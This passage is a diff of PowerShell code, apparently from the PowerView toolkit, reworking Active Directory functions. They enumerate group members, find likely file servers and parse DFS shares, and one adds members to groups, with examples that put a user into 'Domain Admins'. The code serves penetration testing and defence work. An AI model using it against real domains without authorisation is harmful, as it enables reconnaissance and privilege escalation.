+ Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
}
+ $GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
+ Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
try {
$Result = $GroupSearcher.FindOne()
}
catch {
+ Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
$Members = @()
}
$GroupFoundName = ''
+ $GroupFoundDN = ''
if ($Result) {
- $Members = $Result.properties.item("member")
-
- if($Members.count -eq 0) {
+ $Members = $Result.properties.item('member')
+ if ($Members.count -eq 0) {
+ # ranged searching, thanks @meatballs__ !
$Finished = $False
$Bottom = 0
$Top = 0
- while(!$Finished) {
+ while (-not $Finished) {
$Top = $Bottom + 1499
$MemberRange="member;range=$Bottom-$Top"
$Bottom += 1500
-
- $GroupSearcher.PropertiesToLoad.Clear()
- [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
- [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname")
+ $Null = $GroupSearcher.PropertiesToLoad.Clear()
+ $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
+ $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
+ $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
+
try {
$Result = $GroupSearcher.FindOne()
$RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
$Members += $Result.Properties.item($RangedProperty)
- $GroupFoundName = $Result.properties.item("samaccountname")[0]
+ $GroupFoundName = $Result.properties.item('samaccountname')[0]
+ $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
- if ($Members.count -eq 0) {
+ if ($Members.count -eq 0) {
$Finished = $True
}
}
@@ -5466,46 +9450,44 @@ function Get-NetGroupMember {
}
}
else {
- $GroupFoundName = $Result.properties.item("samaccountname")[0]
+ $GroupFoundName = $Result.properties.item('samaccountname')[0]
+ $GroupFoundDN = $Result.properties.item('distinguishedname')[0]
$Members += $Result.Properties.item($RangedProperty)
}
+
+ if ($PSBoundParameters['Domain']) {
+ $GroupFoundDomain = $Domain
+ }
+ else {
+ # if a domain isn't passed, try to extract it from the found group distinguished name
+ if ($GroupFoundDN) {
+ $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ }
+ }
}
- $GroupSearcher.dispose()
}
- $Members | Where-Object {$_} | ForEach-Object {
- # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion
+ ForEach ($Member in $Members) {
if ($Recurse -and $UseMatchingRule) {
$Properties = $_.Properties
- }
+ }
else {
- if($TargetDomainController) {
- $Result = [adsi]"LDAP://$TargetDomainController/$_"
- }
- else {
- $Result = [adsi]"LDAP://$_"
- }
- if($Result){
- $Properties = $Result.Properties
- }
+ $ObjectSearcherArguments = $SearcherArguments.Clone()
+ $ObjectSearcherArguments['Identity'] = $Member
+ $ObjectSearcherArguments['Raw'] = $True
+ $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
+ $Object = Get-DomainObject @ObjectSearcherArguments
+ $Properties = $Object.Properties
}
- if($Properties) {
-
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
-
- if ($FullData) {
- $GroupMember = Convert-LDAPProperty -Properties $Properties
- }
- else {
- $GroupMember = New-Object PSObject
- }
-
- $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
+ if ($Properties) {
+ $GroupMember = New-Object PSObject
+ $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
+ $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
- if($Properties.objectSid) {
- $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
+ if ($Properties.objectsid) {
+ $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
}
else {
$MemberSID = $Null
@@ -5513,29 +9495,29 @@ function Get-NetGroupMember {
try {
$MemberDN = $Properties.distinguishedname[0]
-
- if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {
+ if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
try {
- if(-not $MemberSID) {
+ if (-not $MemberSID) {
$MemberSID = $Properties.cn[0]
}
- $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'
- if($MemberSimpleName) {
+ $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
+
+ if ($MemberSimpleName) {
$MemberDomain = $MemberSimpleName.Split('@')[1]
}
else {
- Write-Warning "Error converting $MemberDN"
+ Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
catch {
- Write-Warning "Error converting $MemberDN"
+ Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
else {
# extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
}
catch {
@@ -5546,507 +9528,831 @@ function Get-NetGroupMember {
if ($Properties.samaccountname) {
# forest users have the samAccountName set
$MemberName = $Properties.samaccountname[0]
- }
+ }
else {
# external trust users have a SID, so convert it
try {
- $MemberName = Convert-SidToName $Properties.cn[0]
+ $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
}
catch {
# if there's a problem contacting the domain to resolve the SID
- $MemberName = $Properties.cn
+ $MemberName = $Properties.cn[0]
}
}
+ if ($Properties.objectclass -match 'computer') {
+ $MemberObjectClass = 'computer'
+ }
+ elseif ($Properties.objectclass -match 'group') {
+ $MemberObjectClass = 'group'
+ }
+ elseif ($Properties.objectclass -match 'user') {
+ $MemberObjectClass = 'user'
+ }
+ else {
+ $MemberObjectClass = $Null
+ }
$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
+ $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
+ $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
- $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
- $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
- $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
+ $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
$GroupMember
# if we're doing manual recursion
- if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
- if($FullData) {
- Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
- }
- else {
- Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
- }
+ if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
+ Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
+ $SearcherArguments['Identity'] = $MemberDN
+ $Null = $SearcherArguments.Remove('Properties')
+ Get-DomainGroupMember @SearcherArguments
}
}
}
+ $GroupSearcher.dispose()
}
}
}
-function Get-NetFileServer {
+function Add-DomainGroupMember {
<#
- .SYNOPSIS
+.SYNOPSIS
- Returns a list of all file servers extracted from user
- homedirectory, scriptpath, and profilepath fields.
+Adds a domain user (or group) to an existing domain group, assuming
+appropriate permissions to do so.
- .PARAMETER Domain
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-PrincipalContext
- The domain to query for user file servers, defaults to the current domain.
+.DESCRIPTION
- .PARAMETER DomainController
+First binds to the specified domain context using Get-PrincipalContext.
+The bound domain context is then used to search for the specified -GroupIdentity,
+which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
+each entry in -Members, each member identity is similarly searched for and added
+to the group.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Identity
- .PARAMETER TargetUsers
+A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
+specifying the group to add members to.
- An array of users to query for file servers.
+.PARAMETER Members
- .PARAMETER PageSize
+One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
+(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
+or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Domain
- .PARAMETER Credential
+Specifies the domain to use to search for user/group principals, defaults to the current domain.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.PARAMETER Credential
- .EXAMPLE
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- PS C:\> Get-NetFileServer
-
- Returns active file servers.
+.EXAMPLE
- .EXAMPLE
+Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
- PS C:\> Get-NetFileServer -Domain testing
-
- Returns active file servers for the 'testing' domain.
+Adds harmj0y to 'Domain Admins' in the current domain.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
+
+Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
+
+Creates the 'andy' user with the specified description and password, using the specified
+alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
+and the alternate credentials.
+
+.LINK
+
+http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
- param(
+ Param(
+ [Parameter(Position = 0, Mandatory = $True)]
+ [Alias('GroupName', 'GroupIdentity')]
[String]
- $Domain,
+ $Identity,
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('MemberIdentity', 'Member', 'DistinguishedName')]
+ [String[]]
+ $Members,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $DomainController,
+ $Domain,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ $ContextArguments = @{
+ 'Identity' = $Identity
+ }
+ if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
+
+ $GroupContext = Get-PrincipalContext @ContextArguments
+ if ($GroupContext) {
+ try {
+ $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
+ }
+ catch {
+ Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_"
+ }
+ }
+ }
+
+ PROCESS {
+ if ($Group) {
+ ForEach ($Member in $Members) {
+ if ($Member -match '.+\\.+') {
+ $ContextArguments['Identity'] = $Member
+ $UserContext = Get-PrincipalContext @ContextArguments
+ if ($UserContext) {
+ $UserIdentity = $UserContext.Identity
+ }
+ }
+ else {
+ $UserContext = $GroupContext
+ $UserIdentity = $Member
+ }
+ Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'"
+ $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
+ $Group.Members.Add($Member)
+ $Group.Save()
+ }
+ }
+ }
+}
+
+
+function Get-DomainFileServer {
+<#
+.SYNOPSIS
+
+Returns a list of servers likely functioning as file servers.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher
+
+.DESCRIPTION
+
+Returns a list of likely fileservers by searching for all users in Active Directory
+with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying
+the server names.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainFileServer
+
+Returns active file servers for the current domain.
+
+.EXAMPLE
+
+Get-DomainFileServer -Domain testing.local
+
+Returns active file servers for the 'testing.local' domain.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainFileServer -Credential $Cred
+
+.OUTPUTS
+
+String
+
+One or more strings representing file server names.
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([String])]
+ [CmdletBinding()]
+ Param(
+ [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainName', 'Name')]
[String[]]
- $TargetUsers,
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
- [ValidateRange(1,10000)]
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- function SplitPath {
- # short internal helper to split UNC server paths
- param([String]$Path)
+ BEGIN {
+ function Split-Path {
+ # short internal helper to split UNC server paths
+ Param([String]$Path)
- if ($Path -and ($Path.split("\\").Count -ge 3)) {
- $Temp = $Path.split("\\")[2]
- if($Temp -and ($Temp -ne '')) {
- $Temp
+ if ($Path -and ($Path.split('\\').Count -ge 3)) {
+ $Temp = $Path.split('\\')[2]
+ if ($Temp -and ($Temp -ne '')) {
+ $Temp
+ }
}
}
+
+ $SearcherArguments = @{
+ 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))'
+ 'Properties' = 'homedirectory,scriptpath,profilepath'
+ }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
- $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))"
- Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object {
- # filter for any target users
- if($TargetUsers) {
- $TargetUsers -Match $_.samAccountName
- }
- else { $True }
- } | ForEach-Object {
- # split out every potential file server path
- if($_.homedirectory) {
- SplitPath($_.homedirectory)
- }
- if($_.scriptpath) {
- SplitPath($_.scriptpath)
- }
- if($_.profilepath) {
- SplitPath($_.profilepath)
- }
- } | Where-Object {$_} | Sort-Object -Unique
+ PROCESS {
+ if ($PSBoundParameters['Domain']) {
+ ForEach ($TargetDomain in $Domain) {
+ $SearcherArguments['Domain'] = $TargetDomain
+ $UserSearcher = Get-DomainSearcher @SearcherArguments
+ # get all results w/o the pipeline and uniquify them (I know it's not pretty)
+ $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
+ }
+ }
+ else {
+ $UserSearcher = Get-DomainSearcher @SearcherArguments
+ $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
+ }
+ }
}
-function Get-DFSshare {
+function Get-DomainDFSShare {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns a list of all fault-tolerant distributed file systems
+for the current (or specified) domains.
+
+Author: Ben Campbell (@meatballs__)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher
+
+.DESCRIPTION
+
+This function searches for all distributed file systems (either version
+1, 2, or both depending on -Version X) by searching for domain objects
+matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively
+The server data is parsed appropriately and returned.
+
+.PARAMETER Domain
+
+Specifies the domains to use for the query, defaults to the current domain.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
- Returns a list of all fault-tolerant distributed file
- systems for a given domain.
+.PARAMETER SearchScope
- .PARAMETER Version
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- The version of DFS to query for servers.
- 1/v1, 2/v2, or all
+.PARAMETER ResultPageSize
- .PARAMETER Domain
+Specifies the PageSize to set for the LDAP searcher object.
- The domain to query for user DFS shares, defaults to the current domain.
+.PARAMETER ServerTimeLimit
- .PARAMETER DomainController
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Tombstone
- .PARAMETER ADSpath
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER Credential
- .PARAMETER PageSize
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- The PageSize to set for the LDAP searcher object.
+.EXAMPLE
- .PARAMETER Credential
+Get-DomainDFSShare
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Returns all distributed file system shares for the current domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-DFSshare
+Get-DomainDFSShare -Domain testlab.local
- Returns all distributed file system shares for the current domain.
+Returns all distributed file system shares for the 'testlab.local' domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-DFSshare -Domain test
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainDFSShare -Credential $Cred
- Returns all distributed file system shares for the 'test' domain.
+.OUTPUTS
+
+System.Management.Automation.PSCustomObject
+
+A custom PSObject describing the distributed file systems.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
+ [OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
- param(
- [String]
- [ValidateSet("All","V1","1","V2","2")]
- $Version = "All",
+ Param(
+ [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainName', 'Name')]
+ [String[]]
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $Domain,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $ADSpath,
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [ValidateSet('All', 'V1', '1', 'V2', '2')]
+ [String]
+ $Version = 'All'
)
- function Parse-Pkt {
- [CmdletBinding()]
- param(
- [byte[]]
- $Pkt
- )
-
- $bin = $Pkt
- $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
- $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
- $offset = 8
- #https://msdn.microsoft.com/en-us/library/cc227147.aspx
- $object_list = @()
- for($i=1; $i -le $blob_element_count; $i++){
- $blob_name_size_start = $offset
- $blob_name_size_end = $offset + 1
- $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
-
- $blob_name_start = $blob_name_size_end + 1
- $blob_name_end = $blob_name_start + $blob_name_size - 1
- $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
-
- $blob_data_size_start = $blob_name_end + 1
- $blob_data_size_end = $blob_data_size_start + 3
- $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
-
- $blob_data_start = $blob_data_size_end + 1
- $blob_data_end = $blob_data_start + $blob_data_size - 1
- $blob_data = $bin[$blob_data_start..$blob_data_end]
- switch -wildcard ($blob_name) {
- "\siteroot" { }
- "\domainroot*" {
- # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
- # DFSRootOrLinkIDBlob
- $root_or_link_guid_start = 0
- $root_or_link_guid_end = 15
- $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
- $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
- $prefix_size_start = $root_or_link_guid_end + 1
- $prefix_size_end = $prefix_size_start + 1
- $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
- $prefix_start = $prefix_size_end + 1
- $prefix_end = $prefix_start + $prefix_size - 1
- $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
-
- $short_prefix_size_start = $prefix_end + 1
- $short_prefix_size_end = $short_prefix_size_start + 1
- $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
- $short_prefix_start = $short_prefix_size_end + 1
- $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
- $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
-
- $type_start = $short_prefix_end + 1
- $type_end = $type_start + 3
- $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
-
- $state_start = $type_end + 1
- $state_end = $state_start + 3
- $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
-
- $comment_size_start = $state_end + 1
- $comment_size_end = $comment_size_start + 1
- $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
- $comment_start = $comment_size_end + 1
- $comment_end = $comment_start + $comment_size - 1
- if ($comment_size -gt 0) {
- $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
- }
- $prefix_timestamp_start = $comment_end + 1
- $prefix_timestamp_end = $prefix_timestamp_start + 7
- # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
- $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
- $state_timestamp_start = $prefix_timestamp_end + 1
- $state_timestamp_end = $state_timestamp_start + 7
- $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
- $comment_timestamp_start = $state_timestamp_end + 1
- $comment_timestamp_end = $comment_timestamp_start + 7
- $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
- $version_start = $comment_timestamp_end + 1
- $version_end = $version_start + 3
- $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
-
- # Parse rest of DFSNamespaceRootOrLinkBlob here
- $dfs_targetlist_blob_size_start = $version_end + 1
- $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
- $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
-
- $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
- $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
- $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
- $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
- $reserved_blob_size_end = $reserved_blob_size_start + 3
- $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
-
- $reserved_blob_start = $reserved_blob_size_end + 1
- $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
- $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
- $referral_ttl_start = $reserved_blob_end + 1
- $referral_ttl_end = $referral_ttl_start + 3
- $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
-
- #Parse DFSTargetListBlob
- $target_count_start = 0
- $target_count_end = $target_count_start + 3
- $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
- $t_offset = $target_count_end + 1
-
- for($j=1; $j -le $target_count; $j++){
- $target_entry_size_start = $t_offset
- $target_entry_size_end = $target_entry_size_start + 3
- $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
- $target_time_stamp_start = $target_entry_size_end + 1
- $target_time_stamp_end = $target_time_stamp_start + 7
- # FILETIME again or special if priority rank and priority class 0
- $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
- $target_state_start = $target_time_stamp_end + 1
- $target_state_end = $target_state_start + 3
- $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
-
- $target_type_start = $target_state_end + 1
- $target_type_end = $target_type_start + 3
- $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
-
- $server_name_size_start = $target_type_end + 1
- $server_name_size_end = $server_name_size_start + 1
- $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
-
- $server_name_start = $server_name_size_end + 1
- $server_name_end = $server_name_start + $server_name_size - 1
- $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
-
- $share_name_size_start = $server_name_end + 1
- $share_name_size_end = $share_name_size_start + 1
- $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
- $share_name_start = $share_name_size_end + 1
- $share_name_end = $share_name_start + $share_name_size - 1
- $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
-
- $target_list += "\\$server_name\$share_name"
- $t_offset = $share_name_end + 1
- }
- }
- }
- $offset = $blob_data_end + 1
- $dfs_pkt_properties = @{
- 'Name' = $blob_name
- 'Prefix' = $prefix
